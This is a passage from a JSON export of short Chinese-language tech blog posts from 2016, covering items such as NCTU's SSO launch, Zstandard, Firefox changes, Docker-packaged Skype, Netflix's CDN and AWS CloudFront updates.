    "body": "在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到這個消息：「<a href=\"https://www.facebook.com/kevchentw/posts/10209935032243298\">交通大學 OAuth 平台上線！</a>」，由於 D2 E-mail 系統上沒什麼資料，主要賣點還是 Single Sign On 的部份。\r\n\r\n當初想要做 <a href=\"https://openid.net/\">OpenID</a> 的 SSO (當年已經有 OpenID 1.0)，跟 <a href=\"http://web.it.nctu.edu.tw/~cschen/\">cschen</a> 申請了 sso.nctu.edu.tw (還掛在 ccreader 上呢)，但後來還是沒實做出來 (也忘了是什麼原因)，過了快十年總算有人跟計中合作跳下來做了 XD\r\n\r\nSSO 很多人都能做 (像是透過 POP3S 或是 IMAPS 認證，甚至透過網頁登入確認)，但只有帶著官方名義做才有意義 (也就是本來就碰的到密碼的人來管理)，這次唯一可惜的是還沒有讓系統完全自動化... (i.e. 自由申請)",
    "title": "交大的 Single Sign On 系統"
  },
  {
    "id": "6788",
    "body": "在「<a href=\"http://www.sectechno.com/hackers-use-twitter-to-control-botnet/\">Twitoor First Android Twitter-based Botnet</a>」這邊看到的消息，原報導在「<a href=\"http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/\">First Twitter-controlled Android botnet discovered</a>」。\r\n\r\n相較於 IRC 控制來得難以被偵測。因為 IRC 的特性比較好抓 (無論是 Protocol 或是 IP address)，而 <a href=\"https://twitter.com/\">Twitter</a> 卻是一般人就常常會上的網站 (而且是 HTTPS)，暫時沒想到太簡單的方法從網路層面偵測...\r\n\r\n其實同樣道理可以用其他大的平台做 (像是 <a href=\"https://github.com/\">GitHub</a> 也是可能的平台)，不知道網路層上要怎麼防比較有效...",
    "title": "拿 Twitter 當作 Botnet 橋樑的惡意軟體"
  },
  {
    "id": "6789",
    "body": "作者用 <a href=\"https://cloud.google.com/bigquery/\">BigQuery</a> 分析了 <a href=\"https://github.com/\">GitHub</a> 上的 Tab 與 Space 的差異 (是個 flame war 開始的節奏 XDDD)：「<a href=\"https://medium.com/@hoffa/400-000-github-repositories-1-billion-files-14-terabytes-of-code-spaces-or-tabs-7cfe0b5dd7fd\">400,000 GitHub repositories, 1 billion files, 14 terabytes of code: Spaces or Tabs?</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GavEwmY.webp\" /><img src=\"https://i.gslin.com/imgur/GavEwmY.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到除了 C 與 <a href=\"https://golang.org/\">Go</a> 以外，大多數的程式語言都是 Space &gt; Tab。另外在文章下面也有使用的 BigQuery 指令可以參考。",
    "title": "分析 GitHub 上的 Tab 與 Space"
  },
  {
    "id": "6790",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 發了一篇出來，講 <a href=\"https://github.com/facebook/zstd\">Zstandard</a>：「<a href=\"https://code.facebook.com/posts/1658392934479273/smaller-and-faster-data-compression-with-zstandard/\">Smaller and faster data compression with Zstandard</a>」，可以看到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HfqSzqZ.webp\" /><img src=\"https://i.gslin.com/imgur/HfqSzqZ.jpg\" alt=\"\" /></picture>\r\n\r\n如果與 <a href=\"https://www.google.com/\">Google</a> 去年 open source 出來的 <a href=\"https://github.com/google/brotli\">Brotli</a> 相比，Zstandard 則是著重在速度，想要做出一個比 zlib 快很多但又比 zlib 壓的好的壓縮演算法。",
    "title": "Facebook 推出的 Zstandard 壓縮"
  },
  {
    "id": "6792",
    "body": "在「<a href=\"https://torrentfreak.com/indian-isps-speed-bittorrent-peering-torrent-site-160828/\">Indian ISPs Speed Up BitTorrent by ‘Peering’ With a Torrent Site</a>」這篇講到印度的 ISP 跟 torrent 站台 <a href=\"http://torbox.net/\">TorBox</a> 合作，加速下載的速度。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DUi7nEb.webp\" /><img src=\"https://i.gslin.com/imgur/DUi7nEb.jpg\" alt=\"\" /></picture>\r\n\r\n裡面提到了蠻有趣的加速技巧：\r\n\r\n<blockquote>They help users to download content faster by linking them to local peers in their own network.</blockquote>\r\n\r\n不知道是不是指 <a href=\"https://en.wikipedia.org/wiki/Local_Peer_Discovery\">Local Peer Discovery</a> (<a href=\"http://www.bittorrent.org/beps/bep_0014.html\">BEP-14</a>) 的技術，如果是的話大概可以猜出作法... 這樣可以降低不少 ISP 對外頻寬的流量與成本。",
    "title": "印度 ISP 跟 Torrent 站台合作加速下載"
  },
  {
    "id": "6793",
    "body": "在「<a href=\"http://news.php.net/php.internals/95531\">JIT for PHP project</a>」這邊看到 <a href=\"https://secure.php.net/\">PHP</a> 新的翻修計畫：\r\n\r\n<blockquote>I'm glad to say that we have started a new JIT for PHP project and hope to deliver some useful results for the next PHP version (probably 8.0).\r\n\r\nWe are very early in the process and for now there isn't any real performance improvement yet.  So far we spent just 2 weeks mainly working on JIT infrastructure for x86/x86_64 Linux (machine code generation, disassembling, debugging, profiling, etc), and we especially made the JIT code-generator as minimal and simple as possible. The current state, is going to be used as a starting point for research of different JIT approaches and their usability for PHP.</blockquote>\r\n\r\n不知道會帶來多少效能提昇 :o",
    "title": "PHP 的 JIT 翻修計畫"
  },
  {
    "id": "6794",
    "body": "看到「<a href=\"http://mashable.com/2016/09/01/catalyst-pokemon-go-catching-case/\">This iPhone thong case will help you catch 'em all in 'Pokémon Go'</a>」這個，光看圖就知道意思了：\r\n\r\n<img src=\"https://i.gslin.com/imgur/nphbmw6.jpg\" alt=\"\" />\r\n\r\n應該是用 3D Printer 做出來的：\r\n\r\n<blockquote>If this sounds familiar, it's basically the commercialized, rubberized version of the 3D-printed Poké Ball \"aimer\" case that one guy made.</blockquote>\r\n\r\n不過這不能丟 Curveball 啊 XDDD",
    "title": "玩 Pokémon Go 抓怪用的 iPhone 手機殼..."
  },
  {
    "id": "6795",
    "body": "在「<a href=\"https://mike.kaply.com/2016/09/01/upcoming-changes-to-root-certificates-in-firefox-on-windows/\">Upcoming Changes to Root Certificates in Firefox on Windows</a>」這邊看到 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 49 將會有選項可以讓 Firefox 多吃系統的 Certificate Trust Store：\r\n\r\n<blockquote>This feature is available in Firefox 49 and up (currently in beta). To give it a try, set the preference <code>security.enterprise_roots.enabled</code> to true. After that, Firefox should connect successfully to sites using certificates issued by 3rd party root certificates that have been added to the Windows trust database.</blockquote>\r\n\r\n這對企業來說會比較方便管理。\r\n\r\n<blockquote>These features are still in the early stages, so if you encounter any unexpected behavior, please feel free to file a bug.</blockquote>\r\n\r\n然後正在測試階段，有問題的可以去戳...",
    "title": "Firefox 49 將可以吃系統的 Certificate Trust Store"
  },
  {
    "id": "6796",
    "body": "在 <a href=\"http://www.economist.com/\">The Economist</a> 這邊看到圖表，比較 2012 與 2016 年投票的變化：「<a href=\"http://www.economist.com/blogs/graphicdetail/2016/09/daily-chart\">Who voters supported in the last American election compared with this one</a>」。2016 美國總統選舉將在 11 月初舉辦，這邊是目前的情況。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wJbzjPS.webp\" /><img src=\"https://i.gslin.com/imgur/wJbzjPS.jpg\" alt=\"\" /></picture>\r\n\r\n這張圖表頗清楚的，雖然有些比例不太對... 可以看到兩大黨以外的票比 2012 增加了不少。",
    "title": "2012 與 2016 美國總統選舉的變化"
  },
  {
    "id": "6797",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2016/08/23/6769/nist-%E6%96%B0%E7%9A%84%E5%AF%86%E7%A2%BC%E8%A6%8F%E7%AF%84/\">NIST 新的密碼規範</a>」這邊提到了用字典檔避免使用者選擇弱密碼的問題：\r\n\r\n<blockquote>When processing requests to establish and change memorized secrets, verifiers SHOULD compare the prospective secrets against a dictionary of known commonly-used and/or compromised values. This list SHOULD include passwords from previous breach corpuses, as well as dictionary words and specific words (such as the name of the service itself) that users are likely to choose. If the chosen secret is found in the dictionary, the subscriber SHOULD be required to choose a different value. The subscriber SHOULD be advised that they need to select a different secret because their previous choice was commonly used.</blockquote>\r\n\r\n除了一般的字典檔以外，還要從之前被破的網站取得。這部份的資料可以從 <a href=\"https://github.com/danielmiessler/SecLists\">danielmiessler/SecLists</a> 這邊的 <code>Passwords</code> 目錄下取得，資料不算太多，但應該夠用。",
    "title": "常見密碼表"
  },
  {
    "id": "6798",
    "body": "看到 <a href=\"http://forum.xda-developers.com/apps/supersu/suhide-t3450396\">suhide</a> 這個工具：「<a href=\"https://thehackernews.com/2016/08/chainfire-suhide-root.html\">Chainfire's SuHide &#8212; Now You Can Hide Your Android Root Status On Per-App Basis</a>」，原報導出自「<a href=\"http://www.xda-developers.com/experimental-suhide-mod-for-supersu-hides-su-binary-from-applications/\">Experimental suhide Mod for SuperSU Hides su Binary from Applications</a>」。\r\n\r\n第一個應該是重點，針對特定應用程式隱藏：\r\n\r\n<blockquote>- Hides root on a per-app base, no need to globally disable root\r\n- Doesn't need Xposed\r\n- Even supports SuperSU's ancient app compatibility mode (BINDSYSTEMXBIN)\r\n- Passes SafetyNet attestation by default on stock ROMs (last officially tested on 2016.08.31)</blockquote>\r\n\r\n不過可以想像到的，接下來的 detection 也會偵測 suhide，再加上 <a href=\"https://www.google.com/\">Google</a> 的 SafetyNet 機制，作者在 forum 上也寫了這是個貓抓老鼠的遊戲...",
    "title": "對某些應用程式隱藏 Android Root 狀態的 suhide"
  },
  {
    "id": "6799",
    "body": "在「<a href=\"http://www.pewinternet.org/2016/09/01/book-reading-2016/\">Book Reading 2016</a>」這邊看到一張圖表：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xYQsKbl.webp\" /><img src=\"https://i.gslin.com/imgur/xYQsKbl.jpg\" alt=\"\" /></picture>\r\n\r\n閱讀人口並沒有太明顯的變化 (以 2012 之後來看)。所以解釋成習慣讀紙本的還是很喜歡紙本的感覺，但是電子書的接受度愈來愈高？\r\n\r\n另外一張圖表則把受訪者的 profile 拿出來細分，性別、種族、年齡、教育程度、年收入、所在地區：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TV5WeM4.webp\" /><img src=\"https://i.gslin.com/imgur/TV5WeM4.jpg\" alt=\"\" /></picture>\r\n\r\n有不少有趣的數字，解讀看個人了 :o",
    "title": "美國人的閱讀習慣 (以閱讀的媒介來分)"
  },
  {
    "id": "6800",
    "body": "在「<a href=\"http://arstechnica.com/information-technology/2016/09/openoffice-after-years-of-neglect-could-shut-down/\">OpenOffice, after years of neglect, could shut down</a>」這邊看到 <a href=\"https://www.openoffice.org/\">OpenOffice</a> 要退場的計畫，自於 mailing list 上的「<a href=\"https://mail-archives.apache.org/mod_mbox/openoffice-dev/201609.mbox/%3C008d01d204a9%24bd37caa0%2437a75fe0%24%40apache.org%3E\">[DISCUSS] What Would OpenOffice Retirement Involve? (long)</a>」這篇。\r\n\r\n信裡面完全沒提到 <a href=\"https://www.libreoffice.org/\">LibreOffice</a>，但就目前幾個大的 distribution 都是安裝 LibreOffice 的情況下，其實會有這個提案就不言而喻了。雖然很可惜，但對整個社群能量的集中應該是好事...\r\n\r\n話說回來，<a href=\"https://www.apache.org/\">Apache Foundation</a> 真的很像垃圾桶，一堆人都把不想維護的東西往那邊丟...",
    "title": "OpenOffice 退場的計畫"
  },
  {
    "id": "6801",
    "body": "找資料的時候發現原來在六月底的時候換掉了：「<a href=\"https://service.seed.net.tw/importantNotice/IN002036.htm\">2016/06/30 起 遠傳大寬頻(Seednet) DNS主機異動公告說明</a>」：\r\n\r\n<blockquote>感謝您對本遠傳大寬頻(Seednet)長期的支持與愛護，因DNS主機將進行異動，\r\nDNS IP將調整為139.175.1.1，原有的DNS IP(139.175.55.244、139.175.252.16)，\r\n將於2016年06月30日不再提供對外連線服務。</blockquote>\r\n\r\n這樣的話三大 ISP 都放到最好記的網段下了 (另外兩個分別是台灣固網的 61.31.1.1 與中華的 168.95.1.1)。",
    "title": "遠傳的 DNS 改成 139.175.1.1"
  },
  {
    "id": "6802",
    "body": "<strong>Update</strong>：中文的部份是有問題的。之前以為是跑 Docker 版本時，實際上跑到很久前裝的 skype... 移除後發現 voice 沒問題，但沒有中文字型...\r\n\r\n因為 <a href=\"https://www.skype.com/\">Skype</a> 裡面不知道跑了什麼東西，所以想要用 <a href=\"https://www.docker.com/\">Docker</a> 包起來放在 container 裡面跑，但之前測起來不穩定，而且中文字型的問題一直沒解決，所以就先一直丟著。\r\n\r\n而剛剛測了一下 <a href=\"https://github.com/sameersbn/docker-skype\">sameersbn/docker-skype</a> 這邊的版本，發現之前遇到沒辦法看中文的問題也解決了。\r\n\r\n安裝的方法非常簡單，先拉下來，然後執行他：\r\n\r\n<pre>$ docker pull sameersbn/skype:latest\r\n$ docker run -it --rm --volume /usr/local/bin:/target sameersbn/skype:latest install</pre>\r\n\r\n這樣就會產生 <code>/usr/local/bin/skype</code>，直接跑他就好了，登入後再拿自家電話撥號，測了一下沒什麼問題。<del datetime=\"2016-09-10T18:41:27+00:00\">另外中文輸入法也是吃 host 的，所以也很順，弄得頗不錯的...</del>",
    "title": "用 Docker 跑 Skype 講電話"
  },
  {
    "id": "6803",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2016/06/09/6619/%E8%98%8B%E6%9E%9C-app-store-%E6%94%B6%E8%B2%BB%E6%A8%A1%E5%BC%8F%E7%9A%84%E6%94%B9%E8%AE%8A/\">蘋果 App Store 收費模式的改變</a>」這邊提到的改變，這幾天細節公開了：「<a href=\"https://developer.apple.com/app-store/subscriptions/\">Subscriptions - App Store - Apple Developer</a>」。\r\n\r\n最主要的改變在於超過一年的費用從原來的 30% 降低到 15%：\r\n\r\n<blockquote>Within a subscriber’s first year of an auto-renewable subscription, you receive the traditional 70% of the subscription price at each billing cycle, minus applicable taxes. After a subscriber accumulates one year of paid service, your revenue increases to 85% of the subscription price, minus applicable taxes.</blockquote>\r\n\r\n不知道這對市場生態會帶來怎麼樣的影響...",
    "title": "Apple 的 App Store 的訂閱制度更新"
  },
  {
    "id": "6804",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 可以指定 query string 中的某個特定的 key/value 當做 cache key 的一部分了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/08/announcing-query-string-whitelisting-for-amazon-cloudfront/\">Announcing Query String Whitelisting for Amazon CloudFront</a>」，對應的文件在「<a href=\"http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/QueryStringParameters.html\">Configuring CloudFront to Cache Based on Query String Parameters</a>」這邊可以查到。\r\n\r\n先前只能針對選擇忽略掉整個 query string，或是把整個 query string 當作 cache key 的一部分，現在可以細部調整了。\r\n\r\n最簡單的應用可以用在 css/js 的 asset 上，針對 <code>v=\\d+</code> 當作 cache key 的一部分，而其他的參數可以忽略，不過這好像沒什麼特別的意義。\r\n\r\n目前想到比較有意義的應用是針對 dynamic content 多了一些籌碼可以用，像是 <a href=\"https://slack.com/\">Slack</a> 把整個網站放上 CloudFront 後，應該會有很多 API 是透過 query string 傳遞參數，而這次的改變讓 CloudFront 可以細部調整。",
    "title": "CloudFront 支援將 Query String 內的特定 Key/Value 當作 Cache Key 的一部分"
  },
  {
    "id": "6807",
    "body": "<strong>Update</strong>：auto scaling 在 2012 就支援 spot instance 了：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-spot-instance-updates-auto-scaling-and-cloudformation-integration-new-sample-app-1/\">EC2 Spot Instance Updates – Auto Scaling and CloudFormation Integration, New Sample App</a>」，我一直有 auto scaling 不支援的印象... 這次是支援 EC2 Spot Fleets (i.e. 以 capacity 為主的架構，將兩台 c4.4xlarge 與一台 c4.8xlarge 當作是有相同 capacity 來喊價)。\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/autoscaling/\">Auto Scaling</a> 宣佈支援 <a href=\"https://aws.amazon.com/ec2/spot/\">Spot Instance</a> 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-auto-scaling-for-ec2-spot-fleets/\">New – Auto Scaling for EC2 Spot Fleets</a>」。\r\n\r\n雖然文章主要都是以 worker 之類的應用來做，但可以看到還是有說 web service：\r\n\r\n<blockquote>Web Service – Scale web services based on measured response time and average requests per second.</blockquote>\r\n\r\n我猜官方還是不建議這樣用，所以整篇文章都還是以 worker 類為主。應該是因為 web service 直接對使用者，用 Auto Scaling 不一定開的起來，反而有可能會爆炸 XD",
    "title": "Auto Scaling 可以拉 EC2 Spot Instance 進來用了"
  },
  {
    "id": "6809",
    "body": "在美國，五大出版商在電子書拆分上對作者佔的比例不斷的下滑，這也代表話語權不斷的下降，而且愈來愈不需要這些「大」出版商了：「<a href=\"http://www.writermag.com/2016/08/18/independent-authors-outsell-big-five/\">Independent authors are starting to outsell the Big Five</a>」。\r\n\r\n這邊所提到的 Big Five 可以在「<a href=\"https://www.thebalance.com/the-big-five-trade-book-publishers-2800047\">The Big Five Trade Book Publishers</a>」這邊查到，分別是：\r\n\r\n<ul>\r\n\t<li>Hachette Book Group</li>\r\n\t<li>HarperCollins</li>\r\n\t<li>Macmillan Publishers</li>\r\n\t<li>Penguin Random House</li>\r\n\t<li>Simon and Schuster</li>\r\n</ul>\r\n\r\n另外也可以把 <a href=\"https://www.amazon.com/\">Amazon</a> 當作是電子書產業的大公司。可以看到獨立發行的比率愈來愈高：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sXxaqMR.webp\" /><img src=\"https://i.gslin.com/imgur/sXxaqMR.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>AuthorEarnings.com has published a report on this very subject, so I jumped into the data. Their May 2016 report reports 1340 authors earn over $100,000 per year on Amazon.com. The striking fact here: “Half of them are indies and Amazon-imprint authors.”</blockquote>\r\n\r\n「出版社」的架構受到的挑戰愈來愈多了。",
    "title": "電子書在美國的販售管道與作者的獲利"
  },
  {
    "id": "6813",
    "body": "從「<a href=\"https://moral.net.au/writing/2016/08/27/animation/\">Balls to learning how to animate, let's film some parkour!</a>」這篇看到讓人懷念的遊戲，1989 年的《<a href=\"https://zh.wikipedia.org/wiki/%E6%B3%A2%E6%96%AF%E7%8E%8B%E5%AD%90_(1989%E5%B9%B4%E9%81%8A%E6%88%B2)\">波斯王子</a>》：\r\n\r\n<img src=\"https://i.gslin.com/imgur/mYhGxVb.gif\" alt=\"\" />\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Jordan_Mechner\">Jordan Mechner</a> (波斯王子的作者) 用 Rotoscoping 的方式將他弟弟做這些動作的畫面拍下來，然後確保在電腦上角色的動作是順暢的：\r\n\r\n<img src=\"https://i.gslin.com/imgur/mrDyyCB.jpg\" alt=\"\" />\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/WAjRNU3DbSY\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n<blockquote>Here's the source frames used to rotoscope the above animation. Don't let the ghostly pallor fool you! Jordan Mechner's brother is in fact quite healthy; he was altered with state-of-the-art Liquid Paper and Sharpie technology to fit the palette restrictions of the Apple II.</blockquote>\r\n\r\n而波斯王子的原始程式碼在 2012 的時候也從 3.5 吋磁片上順利拉出來，放到 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://github.com/jmechner/Prince-of-Persia-Apple-II\">jmechner/Prince-of-Persia-Apple-II</a>」。\r\n\r\n<blockquote>Thanks to Jason Scott and Tony Diaz for successfully extracting the source code from a 22-year-old 3.5\" floppy disk archive, a task that took most of a long day and night, and would have taken much longer if not for Tony's incredible expertise, perseverence, and well-maintained collection of vintage Apple hardware.</blockquote>",
    "title": "在遊戲上模擬跑步的動作"
  },
  {
    "id": "6814",
    "body": "看到 <a href=\"https://www.openbsd.org/\">OpenBSD</a> 直接把 <a href=\"https://github.com/ietf-wg-acme/acme/\">ACME</a> 協定的 client 放進系統內，而 ACME 也就是 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 所使用的協定：「<a href=\"http://undeadly.org/cgi?action=article&amp;sid=20160901060733\">Let's Encrypt client imported into -current</a>」：\r\n\r\n<small><pre>CVSROOT:\t/cvs\r\nModule name:\tsrc\r\nChanges by:\tflorian@cvs.openbsd.org\t2016/08/31 16:01:42\r\n\r\nAdded files:\r\n\tusr.sbin/acme-client: ChangeLog Makefile acctproc.c base64.c \r\n\t                      certproc.c chngproc.c dbg.c dnsproc.c \r\n\t                      extern.h fileproc.c http.c http.h jsmn.c \r\n\t                      jsmn.h json.c keyproc.c letskencrypt.1 \r\n\t                      main.c netproc.c revokeproc.c rsa.c rsa.h \r\n\t                      sandbox-pledge.c util-pledge.c util.c \r\n\r\nLog message:\r\nImport Kristaps' letskencrypt and call it acme-client in tree.\r\nOK to get it in deraadt@ (and probably beck@)\r\n\r\nAt least deraadt@, beck@ and otto@ are fine with the name and the\r\ndisagreements stopped.</pre></small>\r\n\r\n用的是 <a href=\"https://github.com/kristapsdz/acme-client\">acme-client</a>，先前叫做 letskencrypt，以 C 開發的 ACME client。",
    "title": "OpenBSD 將 ACME Client (Let's Encrypt Client) 納入系統"
  },
  {
    "id": "6815",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 要支援無損格式 <a href=\"https://en.wikipedia.org/wiki/FLAC\">FLAC</a> 的消息：「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1195723\">Bug 1195723 - FLAC support / Create FLAC MediaDataDemuxer</a>」。\r\n\r\n隔壁棚關於 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 也有 FLAC 相關的「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=93887\">Support FLAC audio codec</a>」，也是等很久都沒消息，不知道會不會因為 Firefox 有進度後...\r\n\r\n現在如果要無損的話只有 WAV 可以用 (話雖如此，IE 還是要到 <a href=\"https://www.microsoft.com/windows/microsoft-edge\">Edge</a> 才有支援)，改用 FLAC 大約可以省下 40% 的大小 (平均值，依照音樂的類型會有不一樣的壓縮率)，如果普及的話，不知道 <a href=\"https://www.youtube.com/\">YouTube</a> 之類的服務在轉播音樂會時會不會試著拼看看？",
    "title": "Firefox 51 (現在是 48) 將會支援 FLAC"
  },
  {
    "id": "6816",
    "body": "前幾天講到用 <a href=\"https://www.docker.com/\">Docker</a> 跑 <a href=\"https://www.skype.com/\">Skype</a> 的「<a href=\"https://blog.gslin.org/archives/2016/09/03/6802/%E7%94%A8-docker-%E8%B7%91-skype-%E8%AC%9B%E9%9B%BB%E8%A9%B1/\">用 Docker 跑 Skype 講電話</a>」，剛剛就看到「<a href=\"https://github.com/skypeopensource/skypeopensource2\">skypeopensource2</a>」這個專案，不過目前功能非常有限：\r\n\r\n<blockquote>First in world self-made client to Skype Network based on reversing original Skype 5.5 client.\r\n\r\nFor now, only receiving and sending messages are supported.</blockquote>\r\n\r\n然後看了一下專案內容，應該是 Windows-only，這樣應該還是暫時會用 Docker 版本的 Skype 吧... 最主要還是拿來打電話 XD",
    "title": "Open Source 版本的 Skype"
  },
  {
    "id": "6817",
    "body": "在「<a href=\"http://www.solidot.org/story?sid=49531\">研究人员绘制Netflix CDN服务器位置图</a>」這邊看到在討論 <a href=\"https://www.netflix.com/\">Netflix</a> 的 <a href=\"https://openconnect.netflix.com/\">Open Connect</a> 架構，也就是 Netflix 自己的 CDN 架構。引用的論文是「<a href=\"http://arxiv.org/abs/1606.05519\">Open Connect Everywhere: A Glimpse at the Internet Ecosystem through the Lens of the Netflix CDN</a>」這篇。\r\n\r\n翻了一下論文，看起來還是頗傳統的方法，從一堆伺服器去 query 找出來：\r\n\r\n<blockquote>Indeed, Netflix server domain names are too specific, i.e., including details on the physical location of the server. This makes it unlikely that redirection takes place based on these domain names. Additionally, we ran a distributed DNS lookup campaign from Planetlab nodes to verify our assumption that Netflix DNS names always resolve to a single IP address, independently of the client location.</blockquote>\r\n\r\n另外也有用窮舉法去查：\r\n\r\n<blockquote>We implemented a crawler, which generated DNS names following the pattern outlined above and attempted to resolve those generated domains names to IP addresses. The crawler was fed with lists of known countries, airport codes and ISPs. We curated these lists manually, consulting publicly available lists of countries and airport codes. For the ISPs, we conducted an extensive search on the Internet, including but not limited to the Netflix ISP Speed Index, Wikipedia, various ISP rankings or recommendation lists and discussions in web forums.</blockquote>\r\n\r\n所以總共列了 243 個國家地區，3468 個機場編號 (IATA) 與 1728 個 ISP 去搜尋：\r\n\r\n<blockquote>In total, our curated lists contained 243 countries, 3,468 airport codes and 1,728 ISP names. In total we tested 16 different network connection types.</blockquote>\r\n\r\n不過也有發現到錯字：\r\n\r\n<blockquote>The DNS names actually include a typo, the Carrasco International Airport in Uruguay is abbreviated MDV instead of MVD. We used the ISP names found to verify that what was really meant is the airport in Uruguay.</blockquote>\r\n\r\n然後找出了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZuLxnhh.webp\" /><img src=\"https://i.gslin.com/imgur/ZuLxnhh.jpg\" alt=\"\" /></picture>\r\n\r\n不過事實上因為 Netflix 已經規劃全面走 HTTPS：「<a href=\"https://blog.gslin.org/archives/2016/08/10/6720/netflix-%E5%B0%8D-sendfile-%E5%9C%A8-tls-%E6%83%85%E6%B3%81%E4%B8%8B%E7%9A%84%E5%8A%A0%E9%80%9F/\">Netflix 對 sendfile() 在 TLS 情況下的加速</a>」、「<a href=\"http://techblog.netflix.com/2016/08/protecting-netflix-viewing-privacy-at.html\">Protecting Netflix Viewing Privacy at Scale</a>」，所以在 <a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a> 查 <code>%.nflxvideo.net</code> 會有完整的列表，看起來遠超過這篇論文所給的數字：\r\n\r\n<pre>gslin@home [~/tmp] [14:55/W5] grep isp.nflxvideo nflxvideo.html | sort | uniq | wc\r\n   1311    1311   65827\r\ngslin@home [~/tmp] [14:55/W5] grep ix.nflxvideo nflxvideo.html | sort | uniq | wc\r\n     77      77    3230</pre>\r\n\r\n來寫信給論文作者提看看好了...",
    "title": "Netflix 的 Open Connect 架構"
  },
  {
    "id": "6818",
    "body": "在「<a href=\"https://blogs.adobe.com/flashplayer/2016/08/beta-news-flash-player-npapi-for-linux.html\">Beta News – Flash Player NPAPI for Linux</a>」這邊看到 <a href=\"https://www.adobe.com/\">Adobe</a> 要投入資源處理 <a href=\"https://www.kernel.org/\">Linux</a> 上 <a href=\"https://en.wikipedia.org/wiki/NPAPI\">NPAPI</a> 版的 <a href=\"https://en.wikipedia.org/wiki/Adobe_Flash_Player\">Flash Player</a>...\r\n\r\n先前 Linux 下是 NPAPI 與 <a href=\"https://en.wikipedia.org/wiki/PPAPI\">PPAPI</a> 兩個版本都有 Flash Player，但是 NPAPI 維持在 11.2，只做安全性更新：\r\n\r\n<blockquote>Linux users have access to both NPAPI and PPAPI versions of Flash Player.  However, for the last four years, the NPAPI version has been held at 11.2 and regularly updated with only security fixes while the PPAPI version (used in Chrome and Chromium based browsers), is in line with the standard Windows and Mac releases.</blockquote>\r\n\r\n然後決定加碼讓兩邊同步：\r\n\r\n<blockquote>Today we are updating the beta channel with Linux NPAPI Flash Player by moving it forward and in sync with the modern release branch (currently version 23).  We have done this significant change to improve security and provide additional mitigation to the Linux community.</blockquote>\r\n\r\nFlash Player 你趕快退場啊啊啊...",
    "title": "Adobe 居然決定加碼投入資源更新 Linux 上 NPAPI 版的 Flash (也就是舊版 API)"
  },
  {
    "id": "6819",
    "body": "印度最富有的企業家決定提供免費的 4G 網路讓更多人可以上網：「<a href=\"http://money.cnn.com/2016/09/06/technology/india-reliance-jio-4g-internet/index.html\">India's richest man offers free 4G to one billion people</a>」：\r\n\r\n<blockquote>India's richest man is rolling out a $20 billion mobile network that could bring lightning-fast Internet to hundreds of millions of people.</blockquote>\r\n\r\n到 2016 年底：\r\n\r\n<blockquote>Indians will be able to use Jio for free until the end of 2016, and pay as little as 149 rupees ($2.25) a month for data after that.</blockquote>\r\n\r\n唔，為什麼突然想到 <a href=\"https://en.wikipedia.org/wiki/Samuel_L._Jackson\">Samuel L. Jackson</a> 呢...\r\n\r\n<img src=\"https://i.gslin.com/imgur/g7FbUqF.jpg\" alt=\"\" />",
    "title": "印度的免費 4G..."
  },
  {
    "id": "6820",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 總算是支援 HTTP/2 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-http2-support-for-cloudfront/\">New – HTTP/2 Support for Amazon CloudFront</a>」。\r\n\r\n比較需要注意的是，CloudFront 所用到的 <a href=\"https://aws.amazon.com/certificate-manager/\">Certificate Manager</a> 必須開在美西的 us-east-1 才能讓 CloudFront 吃到設定，剛剛誤開在 us-west-2 上，結果回到 CloudFront 頁面上沒找到...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RgQMZI4.webp\" /><img src=\"https://i.gslin.com/imgur/RgQMZI4.jpg\" alt=\"\" /></picture>\r\n\r\n不過 CloudFront 的問題還是在於 latency 不穩定，HTTP/2 應該是可以降低 latency 不穩定帶來的影響，但畢竟還是有影響...",
    "title": "Amazon CloudFront 的 HTTP/2"
  },
  {
    "id": "6823",
